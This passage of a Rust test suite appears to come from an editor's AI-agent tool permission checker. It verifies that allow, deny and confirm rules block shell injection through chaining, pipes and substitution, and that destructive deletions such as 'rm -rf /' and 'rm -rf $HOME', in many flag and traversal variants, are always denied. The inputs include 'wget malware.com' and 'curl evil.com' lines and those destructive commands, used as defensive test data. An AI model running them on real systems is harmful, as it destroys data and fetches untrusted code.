1040 ToolPermissionDecision::Allow
1041 );
1042 }
1043
1044 #[test]
1045 fn partial_tool_name_no_match() {
1046 let mut tools = collections::HashMap::default();
1047 tools.insert(
1048 Arc::from("term"),
1049 ToolRules {
1050 default: Some(ToolPermissionMode::Deny),
1051 always_allow: vec![],
1052 always_deny: vec![],
1053 always_confirm: vec![],
1054 invalid_patterns: vec![],
1055 },
1056 );
1057 let p = ToolPermissions {
1058 default: ToolPermissionMode::Confirm,
1059 tools,
1060 };
1061 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1062 assert_eq!(
1063 ToolPermissionDecision::from_input(
1064 TerminalTool::NAME,
1065 &["x".to_string()],
1066 &p,
1067 ShellKind::Posix
1068 ),
1069 ToolPermissionDecision::Confirm
1070 );
1071 }
1072
1073 // invalid patterns block the tool
1074 #[test]
1075 fn invalid_pattern_blocks() {
1076 let mut tools = collections::HashMap::default();
1077 tools.insert(
1078 Arc::from(TerminalTool::NAME),
1079 ToolRules {
1080 default: Some(ToolPermissionMode::Allow),
1081 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1082 always_deny: vec![],
1083 always_confirm: vec![],
1084 invalid_patterns: vec![InvalidRegexPattern {
1085 pattern: "[bad".into(),
1086 rule_type: "always_deny".into(),
1087 error: "err".into(),
1088 }],
1089 },
1090 );
1091 let p = ToolPermissions {
1092 default: ToolPermissionMode::Confirm,
1093 tools,
1094 };
1095 // Invalid patterns block the tool regardless of other settings
1096 assert!(matches!(
1097 ToolPermissionDecision::from_input(
1098 TerminalTool::NAME,
1099 &["echo hi".to_string()],
1100 &p,
1101 ShellKind::Posix
1102 ),
1103 ToolPermissionDecision::Deny(_)
1104 ));
1105 }
1106
1107 #[test]
1108 fn invalid_substitution_bearing_command_denies_by_default() {
1109 let decision = no_rules("echo $HOME", ToolPermissionMode::Deny);
1110 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1111 }
1112
1113 #[test]
1114 fn invalid_substitution_bearing_command_denies_in_confirm_mode() {
1115 let decision = no_rules("echo $(whoami)", ToolPermissionMode::Confirm);
1116 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1117 }
1118
1119 #[test]
1120 fn unconditional_allow_all_bypasses_invalid_command_rejection_without_tool_rules() {
1121 let decision = no_rules("echo $HOME", ToolPermissionMode::Allow);
1122 assert_eq!(decision, ToolPermissionDecision::Allow);
1123 }
1124
1125 #[test]
1126 fn unconditional_allow_all_bypasses_invalid_command_rejection_with_terminal_default_allow() {
1127 let mut tools = collections::HashMap::default();
1128 tools.insert(
1129 Arc::from(TerminalTool::NAME),
1130 ToolRules {
1131 default: Some(ToolPermissionMode::Allow),
1132 always_allow: vec![],
1133 always_deny: vec![],
1134 always_confirm: vec![],
1135 invalid_patterns: vec![],
1136 },
1137 );
1138 let permissions = ToolPermissions {
1139 default: ToolPermissionMode::Confirm,
1140 tools,
1141 };
1142
1143 assert_eq!(
1144 ToolPermissionDecision::from_input(
1145 TerminalTool::NAME,
1146 &["echo $(whoami)".to_string()],
1147 &permissions,
1148 ShellKind::Posix,
1149 ),
1150 ToolPermissionDecision::Allow
1151 );
1152 }
1153
1154 #[test]
1155 fn old_anchored_pattern_no_longer_matches_env_prefixed_command() {
1156 t("PAGER=blah git log").allow(&["^git\\b"]).is_confirm();
1157 }
1158
1159 #[test]
1160 fn env_prefixed_allow_pattern_matches_env_prefixed_command() {
1161 t("PAGER=blah git log --oneline")
1162 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1163 .is_allow();
1164 }
1165
1166 #[test]
1167 fn env_prefixed_allow_pattern_requires_matching_env_value() {
1168 t("PAGER=more git log --oneline")
1169 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1170 .is_confirm();
1171 }
1172
1173 #[test]
1174 fn env_prefixed_allow_patterns_require_all_extracted_commands_to_match() {
1175 t("PAGER=blah git log && git status")
1176 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1177 .is_confirm();
1178 }
1179
1180 #[test]
1181 fn hardcoded_security_denial_overrides_unconditional_allow_all() {
1182 let decision = no_rules("rm -rf /", ToolPermissionMode::Allow);
1183 match decision {
1184 ToolPermissionDecision::Deny(message) => {
1185 assert!(
1186 message.contains("built-in security rule"),
1187 "expected hardcoded denial message, got: {message}"
1188 );
1189 }
1190 other => panic!("expected Deny, got {other:?}"),
1191 }
1192 }
1193
1194 #[test]
1195 fn hardcoded_security_denial_overrides_unconditional_allow_all_for_invalid_command() {
1196 let decision = no_rules("echo $(rm -rf /)", ToolPermissionMode::Allow);
1197 match decision {
1198 ToolPermissionDecision::Deny(message) => {
1199 assert!(
1200 message.contains("built-in security rule"),
1201 "expected hardcoded denial message, got: {message}"
1202 );
1203 }
1204 other => panic!("expected Deny, got {other:?}"),
1205 }
1206 }
1207
1208 #[test]
1209 fn shell_injection_via_double_ampersand_not_allowed() {
1210 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1211 }
1212
1213 #[test]
1214 fn shell_injection_via_semicolon_not_allowed() {
1215 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1216 }
1217
1218 #[test]
1219 fn shell_injection_via_pipe_not_allowed() {
1220 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1221 }
1222
1223 #[test]
1224 fn shell_injection_via_backticks_not_allowed() {
1225 t("echo `wget malware.com`")
1226 .allow(&[pattern("echo")])
1227 .is_deny();
1228 }
1229
1230 #[test]
1231 fn shell_injection_via_dollar_parens_not_allowed() {
1232 t("echo $(wget malware.com)")
1233 .allow(&[pattern("echo")])
1234 .is_deny();
1235 }
1236
1237 #[test]
1238 fn shell_injection_via_or_operator_not_allowed() {
1239 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1240 }
1241
1242 #[test]
1243 fn shell_injection_via_background_operator_not_allowed() {
1244 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1245 }
1246
1247 #[test]
1248 fn shell_injection_via_newline_not_allowed() {
1249 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1250 }
1251
1252 #[test]
1253 fn shell_injection_via_process_substitution_input_not_allowed() {
1254 t("cat <(wget malware.com)").allow(&["^cat"]).is_deny();
1255 }
1256
1257 #[test]
1258 fn shell_injection_via_process_substitution_output_not_allowed() {
1259 t("ls >(wget malware.com)").allow(&["^ls"]).is_deny();
1260 }
1261
1262 #[test]
1263 fn shell_injection_without_spaces_not_allowed() {
1264 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1265 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1266 }
1267
1268 #[test]
1269 fn shell_injection_multiple_chained_operators_not_allowed() {
1270 t("ls && echo hello && wget malware.com")
1271 .allow(&["^ls"])
1272 .is_confirm();
1273 }
1274
1275 #[test]
1276 fn shell_injection_mixed_operators_not_allowed() {
1277 t("ls; echo hello && wget malware.com")
1278 .allow(&["^ls"])
1279 .is_confirm();
1280 }
1281
1282 #[test]
1283 fn shell_injection_pipe_stderr_not_allowed() {
1284 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1285 }
1286
1287 #[test]
1288 fn allow_requires_all_commands_to_match() {
1289 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1290 }
1291
1292 #[test]
1293 fn dev_null_redirect_does_not_cause_false_negative() {
1294 // Redirects to /dev/null are known-safe and should be skipped during
1295 // command extraction, so they don't prevent auto-allow from matching.
1296 t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1297 .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1298 .is_allow();
1299 }
1300
1301 #[test]
1302 fn redirect_to_real_file_still_causes_confirm() {
1303 // Redirects to real files (not /dev/null) should still be included in
1304 // the extracted commands, so they prevent auto-allow when unmatched.
1305 t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1306 }
1307
1308 #[test]
1309 fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1310 // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1311 // "echo y\ny" and "git add -p file". Both should match their respective allow
1312 // patterns, so the overall command should be auto-allowed.
1313 t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1314 .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1315 .is_allow();
1316 }
1317
1318 #[test]
1319 fn deny_triggers_on_any_matching_command() {
1320 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1321 }
1322
1323 #[test]
1324 fn deny_catches_injected_command() {
1325 t("ls && rm -rf ./temp")
1326 .allow(&["^ls"])
1327 .deny(&["^rm"])
1328 .is_deny();
1329 }
1330
1331 #[test]
1332 fn confirm_triggers_on_any_matching_command() {
1333 t("ls && sudo reboot")
1334 .allow(&["^ls"])
1335 .confirm(&["^sudo"])
1336 .is_confirm();
1337 }
1338
1339 #[test]
1340 fn always_allow_button_works_end_to_end() {
1341 // This test verifies that the "Always Allow" button behavior works correctly:
1342 // 1. User runs a command like "cargo build --release"
1343 // 2. They click "Always Allow for `cargo build` commands"
1344 // 3. The pattern extracted should match future "cargo build" commands
1345 // but NOT other cargo subcommands like "cargo test"
1346 let original_command = "cargo build --release";
1347 let extracted_pattern = pattern(original_command);
1348
1349 // The extracted pattern should allow the original command
1350 t(original_command).allow(&[extracted_pattern]).is_allow();
1351
1352 // It should allow other "cargo build" invocations with different flags
1353 t("cargo build").allow(&[extracted_pattern]).is_allow();
1354 t("cargo build --features foo")
1355 .allow(&[extracted_pattern])
1356 .is_allow();
1357
1358 // But NOT other cargo subcommands — the pattern is subcommand-specific
1359 t("cargo test").allow(&[extracted_pattern]).is_confirm();
1360 t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1361
1362 // Hyphenated extensions of the subcommand should not match either
1363 // (e.g. cargo plugins like "cargo build-foo")
1364 t("cargo build-foo")
1365 .allow(&[extracted_pattern])
1366 .is_confirm();
1367 t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1368
1369 // But not commands with different base commands
1370 t("npm install").allow(&[extracted_pattern]).is_confirm();
1371
1372 // Chained commands: all must match the pattern
1373 t("cargo build && cargo build --release")
1374 .allow(&[extracted_pattern])
1375 .is_allow();
1376
1377 // But reject if any subcommand doesn't match
1378 t("cargo build && npm install")
1379 .allow(&[extracted_pattern])
1380 .is_confirm();
1381 }
1382
1383 #[test]
1384 fn always_allow_button_works_without_subcommand() {
1385 // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1386 // should only include the command name, not the flag.
1387 let original_command = "ls -la";
1388 let extracted_pattern = pattern(original_command);
1389
1390 // The extracted pattern should allow the original command
1391 t(original_command).allow(&[extracted_pattern]).is_allow();
1392
1393 // It should allow other invocations of the same command
1394 t("ls").allow(&[extracted_pattern]).is_allow();
1395 t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1396
1397 // But not different commands
1398 t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1399
1400 // Chained commands: all must match
1401 t("ls -la && ls /tmp")
1402 .allow(&[extracted_pattern])
1403 .is_allow();
1404 t("ls -la && cat file.txt")
1405 .allow(&[extracted_pattern])
1406 .is_confirm();
1407 }
1408
1409 #[test]
1410 fn nested_command_substitution_is_denied() {
1411 t("echo $(cat $(whoami).txt)")
1412 .allow(&["^echo", "^cat", "^whoami"])
1413 .is_deny();
1414 }
1415
1416 #[test]
1417 fn parse_failure_is_denied() {
1418 t("ls &&").allow(&["^ls$"]).is_deny();
1419 }
1420
1421 #[test]
1422 fn mcp_tool_default_modes() {
1423 t("")
1424 .tool("mcp:fs:read")
1425 .mode(ToolPermissionMode::Allow)
1426 .is_allow();
1427 t("")
1428 .tool("mcp:bad:del")
1429 .mode(ToolPermissionMode::Deny)
1430 .is_deny();
1431 t("")
1432 .tool("mcp:gh:issue")
1433 .mode(ToolPermissionMode::Confirm)
1434 .is_confirm();
1435 t("")
1436 .tool("mcp:gh:issue")
1437 .mode(ToolPermissionMode::Confirm)
1438 .global_default(ToolPermissionMode::Allow)
1439 .is_confirm();
1440 }
1441
1442 #[test]
1443 fn mcp_doesnt_collide_with_builtin() {
1444 let mut tools = collections::HashMap::default();
1445 tools.insert(
1446 Arc::from(TerminalTool::NAME),
1447 ToolRules {
1448 default: Some(ToolPermissionMode::Deny),
1449 always_allow: vec![],
1450 always_deny: vec![],
1451 always_confirm: vec![],
1452 invalid_patterns: vec![],
1453 },
1454 );
1455 tools.insert(
1456 Arc::from("mcp:srv:terminal"),
1457 ToolRules {
1458 default: Some(ToolPermissionMode::Allow),
1459 always_allow: vec![],
1460 always_deny: vec![],
1461 always_confirm: vec![],
1462 invalid_patterns: vec![],
1463 },
1464 );
1465 let p = ToolPermissions {
1466 default: ToolPermissionMode::Confirm,
1467 tools,
1468 };
1469 assert!(matches!(
1470 ToolPermissionDecision::from_input(
1471 TerminalTool::NAME,
1472 &["x".to_string()],
1473 &p,
1474 ShellKind::Posix
1475 ),
1476 ToolPermissionDecision::Deny(_)
1477 ));
1478 assert_eq!(
1479 ToolPermissionDecision::from_input(
1480 "mcp:srv:terminal",
1481 &["x".to_string()],
1482 &p,
1483 ShellKind::Posix
1484 ),
1485 ToolPermissionDecision::Allow
1486 );
1487 }
1488
1489 #[test]
1490 fn case_insensitive_by_default() {
1491 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1492 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1493 }
1494
1495 #[test]
1496 fn case_sensitive_allow() {
1497 t("cargo test")
1498 .allow_case_sensitive(&[pattern("cargo")])
1499 .is_allow();
1500 t("CARGO TEST")
1501 .allow_case_sensitive(&[pattern("cargo")])
1502 .is_confirm();
1503 }
1504
1505 #[test]
1506 fn case_sensitive_deny() {
1507 t("rm -rf ./temp")
1508 .deny_case_sensitive(&[pattern("rm")])
1509 .is_deny();
1510 t("RM -RF ./temp")
1511 .deny_case_sensitive(&[pattern("rm")])
1512 .mode(ToolPermissionMode::Allow)
1513 .is_allow();
1514 }
1515
1516 #[test]
1517 fn nushell_allows_with_allow_pattern() {
1518 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1519 }
1520
1521 #[test]
1522 fn nushell_allows_deny_patterns() {
1523 t("rm -rf ./temp")
1524 .deny(&["rm\\s+-rf"])
1525 .shell(ShellKind::Nushell)
1526 .is_deny();
1527 }
1528
1529 #[test]
1530 fn nushell_allows_confirm_patterns() {
1531 t("sudo reboot")
1532 .confirm(&["sudo"])
1533 .shell(ShellKind::Nushell)
1534 .is_confirm();
1535 }
1536
1537 #[test]
1538 fn nushell_no_allow_patterns_uses_default() {
1539 t("ls")
1540 .deny(&["rm"])
1541 .mode(ToolPermissionMode::Allow)
1542 .shell(ShellKind::Nushell)
1543 .is_allow();
1544 }
1545
1546 #[test]
1547 fn elvish_allows_with_allow_pattern() {
1548 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1549 }
1550
1551 #[test]
1552 fn rc_allows_with_allow_pattern() {
1553 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1554 }
1555
1556 #[test]
1557 fn multiple_invalid_patterns_pluralizes_message() {
1558 let mut tools = collections::HashMap::default();
1559 tools.insert(
1560 Arc::from(TerminalTool::NAME),
1561 ToolRules {
1562 default: Some(ToolPermissionMode::Allow),
1563 always_allow: vec![],
1564 always_deny: vec![],
1565 always_confirm: vec![],
1566 invalid_patterns: vec![
1567 InvalidRegexPattern {
1568 pattern: "[bad1".into(),
1569 rule_type: "always_deny".into(),
1570 error: "err1".into(),
1571 },
1572 InvalidRegexPattern {
1573 pattern: "[bad2".into(),
1574 rule_type: "always_allow".into(),
1575 error: "err2".into(),
1576 },
1577 ],
1578 },
1579 );
1580 let p = ToolPermissions {
1581 default: ToolPermissionMode::Confirm,
1582 tools,
1583 };
1584
1585 let result = ToolPermissionDecision::from_input(
1586 TerminalTool::NAME,
1587 &["echo hi".to_string()],
1588 &p,
1589 ShellKind::Posix,
1590 );
1591 match result {
1592 ToolPermissionDecision::Deny(msg) => {
1593 assert!(
1594 msg.contains("2 regex patterns"),
1595 "Expected '2 regex patterns' in message, got: {}",
1596 msg
1597 );
1598 }
1599 other => panic!("Expected Deny, got {:?}", other),
1600 }
1601 }
1602
1603 // always_confirm patterns on non-terminal tools
1604 #[test]
1605 fn always_confirm_works_for_file_tools() {
1606 t("sensitive.env")
1607 .tool(EditFileTool::NAME)
1608 .confirm(&["sensitive"])
1609 .is_confirm();
1610
1611 t("normal.txt")
1612 .tool(EditFileTool::NAME)
1613 .confirm(&["sensitive"])
1614 .mode(ToolPermissionMode::Allow)
1615 .is_allow();
1616
1617 t("/etc/config")
1618 .tool(DeletePathTool::NAME)
1619 .confirm(&["/etc/"])
1620 .is_confirm();
1621
1622 t("/home/user/safe.txt")
1623 .tool(DeletePathTool::NAME)
1624 .confirm(&["/etc/"])
1625 .mode(ToolPermissionMode::Allow)
1626 .is_allow();
1627
1628 t("https://secret.internal.com/api")
1629 .tool(FetchTool::NAME)
1630 .confirm(&["secret\\.internal"])
1631 .is_confirm();
1632
1633 t("https://public.example.com/api")
1634 .tool(FetchTool::NAME)
1635 .confirm(&["secret\\.internal"])
1636 .mode(ToolPermissionMode::Allow)
1637 .is_allow();
1638
1639 // confirm on non-terminal tools still beats allow
1640 t("sensitive.env")
1641 .tool(EditFileTool::NAME)
1642 .allow(&["sensitive"])
1643 .confirm(&["\\.env$"])
1644 .is_confirm();
1645
1646 // confirm on non-terminal tools is still beaten by deny
1647 t("sensitive.env")
1648 .tool(EditFileTool::NAME)
1649 .confirm(&["sensitive"])
1650 .deny(&["\\.env$"])
1651 .is_deny();
1652
1653 // global default allow does not bypass confirm on non-terminal tools
1654 t("/etc/passwd")
1655 .tool(EditFileTool::NAME)
1656 .confirm(&["/etc/"])
1657 .global_default(ToolPermissionMode::Allow)
1658 .is_confirm();
1659 }
1660
1661 // Hardcoded security rules tests - these rules CANNOT be bypassed
1662
1663 #[test]
1664 fn hardcoded_blocks_rm_rf_root() {
1665 t("rm -rf /").is_deny();
1666 t("rm -fr /").is_deny();
1667 t("rm -RF /").is_deny();
1668 t("rm -FR /").is_deny();
1669 t("rm -r -f /").is_deny();
1670 t("rm -f -r /").is_deny();
1671 t("RM -RF /").is_deny();
1672 t("rm /").is_deny();
1673 // Long flags
1674 t("rm --recursive --force /").is_deny();
1675 t("rm --force --recursive /").is_deny();
1676 // Extra short flags
1677 t("rm -rfv /").is_deny();
1678 t("rm -v -rf /").is_deny();
1679 // Glob wildcards
1680 t("rm -rf /*").is_deny();
1681 t("rm -rf /* ").is_deny();
1682 // End-of-options marker
1683 t("rm -rf -- /").is_deny();
1684 t("rm -- /").is_deny();
1685 // Prefixed with sudo or other commands
1686 t("sudo rm -rf /").is_deny();
1687 t("sudo rm -rf /*").is_deny();
1688 t("sudo rm -rf --no-preserve-root /").is_deny();
1689 }
1690
1691 #[test]
1692 fn hardcoded_blocks_rm_rf_home() {
1693 t("rm -rf ~").is_deny();
1694 t("rm -fr ~").is_deny();
1695 t("rm -rf ~/").is_deny();
1696 t("rm -rf $HOME").is_deny();
1697 t("rm -fr $HOME").is_deny();
1698 t("rm -rf $HOME/").is_deny();
1699 t("rm -rf ${HOME}").is_deny();
1700 t("rm -rf ${HOME}/").is_deny();
1701 t("rm -RF $HOME").is_deny();
1702 t("rm -FR ${HOME}/").is_deny();
1703 t("rm -R -F ${HOME}/").is_deny();
1704 t("RM -RF ~").is_deny();
1705 // Long flags
1706 t("rm --recursive --force ~").is_deny();
1707 t("rm --recursive --force ~/").is_deny();
1708 t("rm --recursive --force $HOME").is_deny();
1709 t("rm --force --recursive ${HOME}/").is_deny();
1710 // Extra short flags
1711 t("rm -rfv ~").is_deny();
1712 t("rm -v -rf ~/").is_deny();
1713 // Glob wildcards
1714 t("rm -rf ~/*").is_deny();
1715 t("rm -rf $HOME/*").is_deny();
1716 t("rm -rf ${HOME}/*").is_deny();
1717 // End-of-options marker
1718 t("rm -rf -- ~").is_deny();
1719 t("rm -rf -- ~/").is_deny();
1720 t("rm -rf -- $HOME").is_deny();
1721 }
1722
1723 #[test]
1724 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1725 // Path traversal after $HOME / ${HOME} should still be blocked
1726 t("rm -rf $HOME/./").is_deny();
1727 t("rm -rf $HOME/foo/..").is_deny();
1728 t("rm -rf ${HOME}/.").is_deny();
1729 t("rm -rf ${HOME}/./").is_deny();
1730 t("rm -rf $HOME/a/b/../..").is_deny();
1731 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1732 // Subdirectories should NOT be blocked
1733 t("rm -rf $HOME/subdir")
1734 .mode(ToolPermissionMode::Allow)
1735 .is_allow();
1736 t("rm -rf ${HOME}/Documents")
1737 .mode(ToolPermissionMode::Allow)
1738 .is_allow();
1739 }
1740
1741 #[test]
1742 fn hardcoded_blocks_rm_rf_dot() {
1743 t("rm -rf .").is_deny();
1744 t("rm -fr .").is_deny();
1745 t("rm -rf ./").is_deny();
1746 t("rm -rf ..").is_deny();
1747 t("rm -fr ..").is_deny();
1748 t("rm -rf ../").is_deny();
1749 t("rm -RF .").is_deny();
1750 t("rm -FR ../").is_deny();
1751 t("rm -R -F ../").is_deny();
1752 t("RM -RF .").is_deny();
1753 t("RM -RF ..").is_deny();
1754 // Long flags
1755 t("rm --recursive --force .").is_deny();
1756 t("rm --force --recursive ../").is_deny();
1757 // Extra short flags
1758 t("rm -rfv .").is_deny();
1759 t("rm -v -rf ../").is_deny();
1760 // Glob wildcards
1761 t("rm -rf ./*").is_deny();
1762 t("rm -rf ../*").is_deny();
1763 // End-of-options marker
1764 t("rm -rf -- .").is_deny();
1765 t("rm -rf -- ../").is_deny();
1766 }
1767
1768 #[test]
1769 fn hardcoded_cannot_be_bypassed_by_global() {
1770 // Even with global default Allow, hardcoded rules block
1771 t("rm -rf /")
1772 .global_default(ToolPermissionMode::Allow)
1773 .is_deny();
1774 t("rm -rf ~")
1775 .global_default(ToolPermissionMode::Allow)
1776 .is_deny();
1777 t("rm -rf $HOME")
1778 .global_default(ToolPermissionMode::Allow)
1779 .is_deny();
1780 t("rm -rf .")
1781 .global_default(ToolPermissionMode::Allow)
1782 .is_deny();
1783 t("rm -rf ..")
1784 .global_default(ToolPermissionMode::Allow)
1785 .is_deny();
1786 }
1787
1788 #[test]
1789 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1790 // Even with an allow pattern that matches, hardcoded rules block
1791 t("rm -rf /").allow(&[".*"]).is_deny();
1792 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1793 t("rm -rf .").allow(&[".*"]).is_deny();
1794 t("rm -rf ..").allow(&[".*"]).is_deny();
1795 }
1796
1797 #[test]
1798 fn hardcoded_allows_safe_rm() {
1799 // rm -rf on a specific path should NOT be blocked
1800 t("rm -rf ./build")
1801 .mode(ToolPermissionMode::Allow)
1802 .is_allow();
1803 t("rm -rf /tmp/test")
1804 .mode(ToolPermissionMode::Allow)
1805 .is_allow();
1806 t("rm -rf ~/Documents")
1807 .mode(ToolPermissionMode::Allow)
1808 .is_allow();
1809 t("rm -rf $HOME/Documents")
1810 .mode(ToolPermissionMode::Allow)
1811 .is_allow();
1812 t("rm -rf ../some_dir")
1813 .mode(ToolPermissionMode::Allow)
1814 .is_allow();
1815 t("rm -rf .hidden_dir")
1816 .mode(ToolPermissionMode::Allow)
1817 .is_allow();
1818 t("rm -rfv ./build")
1819 .mode(ToolPermissionMode::Allow)
1820 .is_allow();
1821 t("rm --recursive --force ./build")
1822 .mode(ToolPermissionMode::Allow)
1823 .is_allow();
1824 }
1825
1826 #[test]
1827 fn hardcoded_checks_chained_commands() {
1828 // Hardcoded rules should catch dangerous commands in chains
1829 t("ls && rm -rf /").is_deny();
1830 t("echo hello; rm -rf ~").is_deny();
1831 t("cargo build && rm -rf /")
1832 .global_default(ToolPermissionMode::Allow)
1833 .is_deny();
1834 t("echo hello; rm -rf $HOME").is_deny();
1835 t("echo hello; rm -rf .").is_deny();
1836 t("echo hello; rm -rf ..").is_deny();
1837 }
1838
1839 #[test]
1840 fn hardcoded_blocks_rm_with_extra_flags() {
1841 // Extra flags like -v, -i should not bypass the security rules
1842 t("rm -rfv /").is_deny();
1843 t("rm -v -rf /").is_deny();
1844 t("rm -rfi /").is_deny();
1845 t("rm -rfv ~").is_deny();
1846 t("rm -rfv ~/").is_deny();
1847 t("rm -rfv $HOME").is_deny();
1848 t("rm -rfv .").is_deny();
1849 t("rm -rfv ./").is_deny();
1850 t("rm -rfv ..").is_deny();
1851 t("rm -rfv ../").is_deny();
1852 }
1853
1854 #[test]
1855 fn hardcoded_blocks_rm_with_long_flags() {
1856 t("rm --recursive --force /").is_deny();
1857 t("rm --force --recursive /").is_deny();
1858 t("rm --recursive --force ~").is_deny();
1859 t("rm --recursive --force ~/").is_deny();
1860 t("rm --recursive --force $HOME").is_deny();
1861 t("rm --recursive --force .").is_deny();
1862 t("rm --recursive --force ..").is_deny();
1863 }
1864
1865 #[test]
1866 fn hardcoded_blocks_rm_with_glob_star() {
1867 // rm -rf /* is equally catastrophic to rm -rf /
1868 t("rm -rf /*").is_deny();
1869 t("rm -rf ~/*").is_deny();
1870 t("rm -rf $HOME/*").is_deny();
1871 t("rm -rf ${HOME}/*").is_deny();
1872 t("rm -rf ./*").is_deny();
1873 t("rm -rf ../*").is_deny();
1874 }
1875
1876 #[test]
1877 fn hardcoded_extra_flags_allow_safe_rm() {
1878 // Extra flags on specific paths should NOT be blocked
1879 t("rm -rfv ~/somedir")
1880 .mode(ToolPermissionMode::Allow)
1881 .is_allow();
1882 t("rm -rfv /tmp/test")
1883 .mode(ToolPermissionMode::Allow)
1884 .is_allow();
1885 t("rm --recursive --force ./build")
1886 .mode(ToolPermissionMode::Allow)
1887 .is_allow();
1888 }
1889
1890 #[test]
1891 fn hardcoded_does_not_block_words_containing_rm() {
1892 // Words like "storm", "inform" contain "rm" but should not be blocked
1893 t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1894 t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1895 t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1896 }
1897
1898 #[test]
1899 fn hardcoded_blocks_rm_with_trailing_flags() {
1900 // GNU rm accepts flags after operands by default
1901 t("rm / -rf").is_deny();
1902 t("rm / -fr").is_deny();
1903 t("rm / -RF").is_deny();
1904 t("rm / -r -f").is_deny();
1905 t("rm / --recursive --force").is_deny();
1906 t("rm / -rfv").is_deny();
1907 t("rm /* -rf").is_deny();
1908 // Mixed: some flags before path, some after
1909 t("rm -r / -f").is_deny();
1910 t("rm -f / -r").is_deny();
1911 // Home
1912 t("rm ~ -rf").is_deny();
1913 t("rm ~/ -rf").is_deny();
1914 t("rm ~ -r -f").is_deny();
1915 t("rm $HOME -rf").is_deny();
1916 t("rm ${HOME} -rf").is_deny();
1917 // Dot / dotdot
1918 t("rm . -rf").is_deny();
1919 t("rm ./ -rf").is_deny();
1920 t("rm . -r -f").is_deny();
1921 t("rm .. -rf").is_deny();
1922 t("rm ../ -rf").is_deny();
1923 t("rm .. -r -f").is_deny();
1924 // Trailing flags in chained commands
1925 t("ls && rm / -rf").is_deny();
1926 t("echo hello; rm ~ -rf").is_deny();
1927 // Safe paths with trailing flags should NOT be blocked
1928 t("rm ./build -rf")
1929 .mode(ToolPermissionMode::Allow)
1930 .is_allow();
1931 t("rm /tmp/test -rf")
1932 .mode(ToolPermissionMode::Allow)
1933 .is_allow();
1934 t("rm ~/Documents -rf")
1935 .mode(ToolPermissionMode::Allow)
1936 .is_allow();
1937 }
1938
1939 #[test]
1940 fn hardcoded_blocks_rm_with_flag_equals_value() {
1941 // --flag=value syntax should not bypass the rules
1942 t("rm --no-preserve-root=yes -rf /").is_deny();
1943 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1944 t("rm -rf --no-preserve-root=yes /").is_deny();
1945 t("rm --interactive=never -rf /").is_deny();
1946 t("rm --no-preserve-root=yes -rf ~").is_deny();
1947 t("rm --no-preserve-root=yes -rf .").is_deny();
1948 t("rm --no-preserve-root=yes -rf ..").is_deny();
1949 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1950 // --flag (without =value) should also not bypass the rules
1951 t("rm -rf --no-preserve-root /").is_deny();
1952 t("rm --no-preserve-root -rf /").is_deny();
1953 t("rm --no-preserve-root --recursive --force /").is_deny();
1954 t("rm -rf --no-preserve-root ~").is_deny();
1955 t("rm -rf --no-preserve-root .").is_deny();
1956 t("rm -rf --no-preserve-root ..").is_deny();
1957 t("rm -rf --no-preserve-root $HOME").is_deny();
1958 // Trailing --flag=value after path
1959 t("rm / --no-preserve-root=yes -rf").is_deny();
1960 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1961 // Trailing --flag (without =value) after path
1962 t("rm / -rf --no-preserve-root").is_deny();
1963 t("rm ~ -rf --no-preserve-root").is_deny();
1964 // Safe paths with --flag=value should NOT be blocked
1965 t("rm --no-preserve-root=yes -rf ./build")
1966 .mode(ToolPermissionMode::Allow)
1967 .is_allow();
1968 t("rm --interactive=never -rf /tmp/test")
1969 .mode(ToolPermissionMode::Allow)
1970 .is_allow();
1971 // Safe paths with --flag (without =value) should NOT be blocked
1972 t("rm --no-preserve-root -rf ./build")
1973 .mode(ToolPermissionMode::Allow)
1974 .is_allow();
1975 }
1976
1977 #[test]
1978 fn hardcoded_blocks_rm_with_path_traversal() {
1979 // Traversal to root via ..
1980 t("rm -rf /etc/../").is_deny();
1981 t("rm -rf /tmp/../../").is_deny();
1982 t("rm -rf /tmp/../..").is_deny();
